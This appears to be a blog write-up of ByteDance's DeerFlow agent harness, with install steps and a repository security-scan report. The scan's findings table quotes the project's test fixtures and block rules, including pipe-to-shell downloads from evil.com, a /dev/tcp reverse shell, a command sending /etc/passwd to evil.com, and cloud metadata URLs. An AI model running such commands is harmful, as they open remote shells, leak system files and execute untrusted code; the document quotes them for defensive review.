7 min read

DeerFlow: ByteDance's Open-Source Super Agent for Research and Code (GitHub, Scanned)

ByteDance's self-hosted agent harness: sub-agents, sandboxes, memory and skills for long tasks.

DeerFlow logo
✅
Scan: safe. Nothing malicious. It is an agent that runs commands and writes files by design, so keep it on localhost as it ships, and treat admin access to it as access to the machine. Scanned Oct 19, 2026; the full report is below.

DeerFlow started as a deep research tool and, with version 2.0, became what ByteDance calls a super agent harness: a lead agent that plans a long task, hands pieces to sub-agents, runs code and shell commands in a sandbox, keeps long-term memory, and reaches for skills when a job calls for them. You give it a goal such as a market report, a slide deck, a small web app or a data analysis, and it works through it in a web interface on localhost, with the files it produced left in a workspace you can download.

Around that core it has a lot of the plumbing people otherwise build themselves: web search through several providers, browser control, MCP servers, a RAGFlow connector for private documents, scheduled tasks, projects with their own instructions, a terminal interface, and bots for Slack, Telegram, Feishu and other chat apps. It works with any OpenAI-compatible model; the README recommends long-context models with strong tool use and points to ByteDance's own Doubao models, DeepSeek and Kimi.

Version 2.0 was a ground-up rewrite that took the top spot on GitHub Trending in February 2026, and the project has kept up a very fast pace since: about 84,100 stars, 573 contributors and release v2.1.0 when scanned. It is MIT-licensed, Python on the back end and Next.js on the front.

Who it is for

Developers and technical teams who want a self-hosted agent for multi-step research, analysis and building tasks, and who are comfortable running Docker and supplying their own model API keys.

Getting started

1. Clone the repository

git clone https://github.com/bytedance/deer-flow.git && cd deer-flow

2. Run the setup wizard (model provider, search, sandbox and safety choices)

make setup

3. Start it with Docker (recommended)

make docker-init && make docker-start

4. Open the web interface

open http://localhost:2026

Needs Docker, or Python 3.12+ and Node.js 22+ for a local run, plus at least 4 CPU cores and 8 GB of RAM. The wizard writes your API keys to a local .env file. The README's suggestion to hand setup to a coding agent works too, but the make commands above are the same steps done by hand.

Safety scan

We cloned bytedance/deer-flow at commit fee0cd0 on Oct 19, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

  • The 26 secret hits are fake Slack, GitHub and private-key values in backend tests for its chat-bot credential handling. No committed binaries across 4,139 files and about 1.17 million lines.
  • The 50 pattern hits (pipe-to-shell, /dev/tcp, Telegram hosts) are almost all the opposite of a problem: they are the rules in DeerFlow's own sandbox audit middleware and skill scanner, which block commands such as curl | bash, and the tests for those rules. The rest are setup hints printing the uv installer command and a regex that redacts Telegram bot tokens from logs.
  • By its own README, DeerFlow can execute system commands and read and write files, and an admin can register MCP servers that run commands on the host. It binds to 127.0.0.1 out of the box and warns against exposing it without an IP allowlist and an authenticating proxy. Leave that default alone unless you know why you are changing it.
  • 99 known advisories, none critical: 93 in the Next.js front end's lockfile, mostly build and test tooling (brace-expansion, minimatch, Vite, js-yaml), and 6 moderate ones in the Python back end. None is in Next.js itself.
  • The bundled vercel-deploy skill uploads a project to Vercel's claimable-deployment endpoint when you ask it to deploy, the same mechanism as Vercel's own skill. The README also carries a sponsored pitch for ByteDance's Volcengine coding plan; nothing in the code requires it.
  • 19 workflows; the one pull_request_target workflow (triage) only labels PRs with github-script and never checks out PR code. 24 of 38 third-party actions are pinned to commits. Licence, security policy, contributing guide and code of conduct present; no Dependabot.

What the scanner counted

CheckResult
Secrets26 candidates found and read; see the notes above.
Suspicious code50 pattern hits found and read; every one is listed under the raw findings.
Install-time code7 installer scripts (one can call sudo)
Committed binariesNone.
CI workflows19 workflows. 1 uses pull_request_target, none check out the pull request head. 14 of 38 third-party actions pinned to a tag rather than a commit.
Network hosts40 distinct hosts referenced from source; most often example.test, github.com, evil.com, mcp.example.com. 16 URLs to a bare IP address, listed under the raw findings.
Known vulnerabilities99 advisories across 1,506 pinned packages: 0 critical, 36 high, 53 moderate, 10 low. backend/tests/monocle/requirements.txt: 1 packages, 0 advisories; backend/uv.lock: 251 packages, 6 advisories; frontend/pnpm-lock.yaml: 1,254 packages, 93 advisories.
Project hygieneHas security policy, licence file, contributing guide. Missing automated dependency updates, CodeQL.
OpenSSF ScorecardNot scored: the project is not in Scorecard's weekly index.

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

Secret candidates (26, redacted)
WhereRuleMatch
backend/tests/test_channel_connections_repository.py:220slack-tokenxoxb-s…ken (24 chars)
backend/tests/test_channel_connections_repository.py:230slack-tokenxoxb-s…ken (24 chars)
backend/tests/test_channel_connections_repository.py:237slack-tokenxoxb-s…ken (24 chars)
backend/tests/test_channel_connections_repository.py:251slack-tokenxoxb-s…ken (24 chars)
backend/tests/test_channel_credentials_wiring.py:200slack-tokenxoxb-c…ken (21 chars)
backend/tests/test_channel_credentials_wiring.py:205slack-tokenxoxb-c…ken (21 chars)
backend/tests/test_channel_credentials_wiring.py:210slack-tokenxoxb-c…ken (21 chars)
backend/tests/test_channel_credentials_wiring.py:258slack-tokenxoxb-c…ken (21 chars)
backend/tests/test_channel_credentials_wiring.py:260slack-tokenxoxb-c…ken (21 chars)
backend/tests/test_channel_runtime_config_db_store.py:39slack-tokenxoxb-s…ken (17 chars)
backend/tests/test_channel_runtime_config_db_store.py:98slack-tokenxoxb-s…ken (17 chars)
backend/tests/test_channel_runtime_config_db_store.py:195slack-tokenxoxb-s…ken (17 chars)
backend/tests/test_notification_text.py:225private-key-----B…--- (27 chars)
backend/tests/test_notification_text.py:238github-tokengithub…12_ (34 chars)
backend/tests/test_notification_text.py:252private-key-----B…--- (27 chars)
backend/tests/test_skill_manage_tool.py:355private-key-----B…--- (31 chars)
backend/tests/test_skill_review_core.py:455private-key-----B…--- (27 chars)
backend/tests/test_skills_custom_router.py:422private-key-----B…--- (31 chars)
backend/tests/test_skills_installer.py:716private-key-----B…--- (31 chars)
backend/tests/test_skillscan_native.py:52private-key-----B…--- (31 chars)
backend/tests/test_skillscan_native.py:300private-key-----B…--- (31 chars)
backend/tests/test_skillscan_native.py:558github-tokengithub…12_ (34 chars)
backend/tests/test_skillscan_native.py:668private-key-----B…--- (35 chars)
backend/tests/test_slack_channel_connections.py:78slack-tokenxoxb-c…ken (21 chars)
and 2 more
Pattern hits (50)
WhereRuleMatch
backend/app/channels/telegram.py:682exfil-hostcause_msg = re.sub(r"api\.telegram\.org/bot[^/\s]+/", "api.telegram.org/bot[redacted]/", cause_msg)
backend/packages/harness/deerflow/agents/middlewares/sandbox_audit_middleware.py:27download-piped-to-shell_RISKY_SUBSTITUTION_EXECUTABLES = r"(?:curl|wget|bash|sh|python[\d.]*|ruby|perl|base64)\b"
backend/packages/harness/deerflow/agents/middlewares/sandbox_audit_middleware.py:57download-piped-to-shell# --- pipe to sh/bash (generalised, replaces old curl|sh rule) ---
backend/packages/harness/deerflow/agents/middlewares/sandbox_audit_middleware.py:75raw-socket-shellre.compile(r"/dev/tcp/"),
backend/packages/harness/deerflow/agents/middlewares/sandbox_audit_middleware.py:383download-piped-to-shellHigh-risk commands (e.g. ``rm -rf /``, ``curl url | bash``) are blocked:
backend/packages/harness/deerflow/guardrails/typesafe.py:72download-piped-to-shell"(bash ./script.sh, curl ... | sh, base64 or compressed payloads, python -c on decoded input); the arguments are too thin to tell "
backend/packages/harness/deerflow/skills/skillscan/orchestrator.py:1170raw-socket-shellif match := re.search(r"(/dev/tcp/|nc\s+-e\b)", text):
backend/tests/test_artifact_safety_review.py:114download-piped-to-shell (test/example)audit_request = request({"command": "art_1234abcd"}, [entry("curl https://host/install.sh | sh")])
backend/tests/test_channels.py:12086exfil-host (test/example)ch._download_bot = SimpleNamespace(get_file=AsyncMock(side_effect=RuntimeError("GET https://api.telegram.org/bottest-token/getFile failed")))
backend/tests/test_channels.py:12611exfil-host (test/example)getme_exc = with_cause(ConnectionResetError("GET https://api.telegram.org/bottest-token/getMe"))
backend/tests/test_channels.py:12612exfil-host (test/example)getfile_exc = with_cause(ConnectionResetError("GET https://api.telegram.org/bottest-token/getFile"))
backend/tests/test_logging_config.py:81exfil-host (test/example)# carries the bot token in the PATH (api.telegram.org/bot<token>/method),
backend/tests/test_logging_config.py:85exfil-host (test/example)telegram = _httpx_record("https://api.telegram.org/bot123456:AAE-token-secret/sendMessage", method="POST")
backend/tests/test_mcp_config_secrets.py:2611download-piped-to-shell (test/example)args=["-c", "curl -s https://attacker.example/shell.sh | bash"],
backend/tests/test_mcp_config_secrets.py:2707download-piped-to-shell (test/example)["--yes", "-c", "curl -s https://attacker.example/x.sh | sh"],
backend/tests/test_sandbox_audit_middleware.py:73download-piped-to-shell (test/example)"curl http://evil.com/shell.sh | bash",
backend/tests/test_sandbox_audit_middleware.py:74download-piped-to-shell (test/example)"curl http://evil.com/x.sh|sh",
backend/tests/test_sandbox_audit_middleware.py:75download-piped-to-shell (test/example)"wget http://evil.com/x.sh | bash",
backend/tests/test_sandbox_audit_middleware.py:115raw-socket-shell (test/example)"cat /etc/passwd > /dev/tcp/evil.com/80",
backend/tests/test_sandbox_audit_middleware.py:116raw-socket-shell (test/example)"bash -i >& /dev/tcp/evil.com/4444 0>&1",
backend/tests/test_sandbox_audit_middleware.py:117raw-socket-shell (test/example)"/dev/tcp/attacker.com/1234",
backend/tests/test_sandbox_audit_middleware.py:422download-piped-to-shell (test/example)("ls -la || curl http://evil.com/x.sh | bash", "block"),
backend/tests/test_sandbox_audit_middleware.py:655download-piped-to-shell (test/example)"curl http://evil.com/x.sh | bash",
backend/tests/test_sandbox_audit_middleware.py:1025download-piped-to-shell (test/example)"curl http://evil.com/shell.sh | bash",
and 26 more
URLs to bare IP addresses (16)
WhereRuleMatch
backend/tests/test_aio_sandbox.py:85ip-literal-url"http://8.8.8.8:8080",
backend/tests/test_aio_sandbox_readiness.py:63ip-literal-url("http://8.8.8.8:8080", True),
backend/tests/test_crawl4ai_tools.py:308ip-literal-url["http://169.254.169.254/latest/meta-data/", "http://100.100.100.200/latest/meta-data/", "http://[::ffff:100.100.100.200]/latest/meta-data/"],
backend/tests/test_gateway_health.py:568ip-literal-url("http://8.8.8.8:8002", True),
backend/tests/test_image_result_url_safety.py:23ip-literal-url"http://224.0.0.1/image",
backend/tests/test_image_result_url_safety.py:27ip-literal-url"http://240.0.0.1/image",
backend/tests/test_image_result_url_safety.py:41ip-literal-url["https://images.example/image", "http://8.8.8.8/image", "http://134744072/image", "http://[2606:4700:4700::1111]/image"],
backend/tests/test_infoquest_result_url_safety.py:31ip-literal-url"http://224.0.0.1/record",
backend/tests/test_infoquest_result_url_safety.py:32ip-literal-url"http://240.0.0.1/record",
backend/tests/test_personal_mcp.py:305ip-literal-urlassert received == ["https://8.8.8.8/mcp"]
backend/tests/test_serper_tools.py:322ip-literal-urlassert _safe_public_url("https://8.8.8.8/i.jpg") == "https://8.8.8.8/i.jpg"
backend/tests/test_serper_tools.py:322ip-literal-urlassert _safe_public_url("https://8.8.8.8/i.jpg") == "https://8.8.8.8/i.jpg"
backend/tests/test_serper_tools.py:420ip-literal-urlassert _safe_public_url("https://999.1.1.1/i.jpg") == "https://999.1.1.1/i.jpg"
backend/tests/test_serper_tools.py:420ip-literal-urlassert _safe_public_url("https://999.1.1.1/i.jpg") == "https://999.1.1.1/i.jpg"
backend/tests/test_serper_tools.py:438ip-literal-urlassert _safe_public_url("https://1.2.3.999/i.jpg") == "https://1.2.3.999/i.jpg"
backend/tests/test_serper_tools.py:438ip-literal-urlassert _safe_public_url("https://1.2.3.999/i.jpg") == "https://1.2.3.999/i.jpg"
Installer scripts (7)
Worst known vulnerabilities (24 of 99)
AdvisorySeverityPackageSummary
GHSA-g2v6-rqmx-r4w6high@vue/server-renderer@3.5.28@vue/server-renderer: XSS via missing CR in attribute-name blacklist
GHSA-3jxr-9vmj-r5cphighbrace-expansion@1.1.12brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@1.1.12brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@1.1.12brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@1.1.12brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@1.1.12brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-3jxr-9vmj-r5cphighbrace-expansion@2.0.2brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@2.0.2brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@2.0.2brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@2.0.2brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@2.0.2brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-3jxr-9vmj-r5cphighbrace-expansion@5.0.5brace-expansion: DoS via exponential-time expansion of consecutive non-expanding {} groups
GHSA-6j4f-fj2g-mc7phighbrace-expansion@5.0.5brace-expansion: DoS via uncontrolled recursion in parseCommaParts causing stack exhaustion
GHSA-mh99-v99m-4gvghighbrace-expansion@5.0.5brace-expansion: DoS via unbounded expansion length causing an out-of-memory process crash
GHSA-qhr7-859c-m2p7highbrace-expansion@5.0.5brace-expansion: DoS via uncontrolled recursion on nested brace groups causing stack exhaustion
GHSA-rgw5-rvv9-x895highbrace-expansion@5.0.5brace-expansion: DoS via unbounded intermediate arrays, bypassing the CVE-2026-14257 mitigation
GHSA-vfj7-8cjw-p6xmhighbraces@3.0.3braces vulnerable to stack-exhaustion denial of service through deeply nested patterns
GHSA-25h7-pfq9-p65fhighflatted@3.3.3flatted vulnerable to unbounded recursion DoS in parse() revive phase
GHSA-rf6f-7fwh-wjghhighflatted@3.3.3Prototype Pollution via parse() in NodeJS flatted
GHSA-5p2g-fcmc-qvqqhighimage-size@2.0.2image-size: JXL and HEIF parsers allow denial of service through infinite loops
GHSA-w3rx-r6r6-pgprhighimage-size@2.0.2image-size: ICNS parser allows denial of service through an infinite loop
GHSA-2883-xcg3-v3hhhighjs-yaml@4.1.1js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
GHSA-52cp-r559-cp3mhighjs-yaml@4.1.1js-yaml: YAML merge-key chains can force quadratic CPU consumption
GHSA-5p4m-2wfm-xmqjhighjs-yaml@4.1.1JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) - CVE-2026-59870 fix not backported
Workflows worth a look

By the numbers

Stars84.1K
Forks11.7K
Contributors573
Commits4,255
Open issues532
Open pull requests416
Releases2
Latest releasev2.1.0
LicenceMIT
Main languagePython
Project age1 year
Last pushOct 19, 2026
Tracked files4,139
Lines of code1.2M
Checkout size76 MB

Lines by language: Python 810.1K, TypeScript 191.6K, Markdown 118.4K, JSON 21.2K, YAML 9,310, HTML 6,150.

Questions

Is DeerFlow free?

Yes. DeerFlow is MIT-licensed and free to self-host. What costs money is the model behind it: you bring an API key for an OpenAI-compatible provider, or point it at a local model, and long agent runs can use a lot of tokens.

How is DeerFlow 2.0 different from the original?

2.0 shares no code with 1.x. The original was a deep research framework; 2.0 is a general agent harness with sub-agents, sandboxes, memory and skills. The 1.x branch is still in the repository for anyone who wants the old research tool.

Can I run DeerFlow with a local model?

It works with any OpenAI-compatible endpoint, so a local server such as Ollama or vLLM can stand in. The README recommends models with long context windows, reasoning and reliable tool calling, which in practice means large models; small local ones tend to struggle with long multi-step tasks.


This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.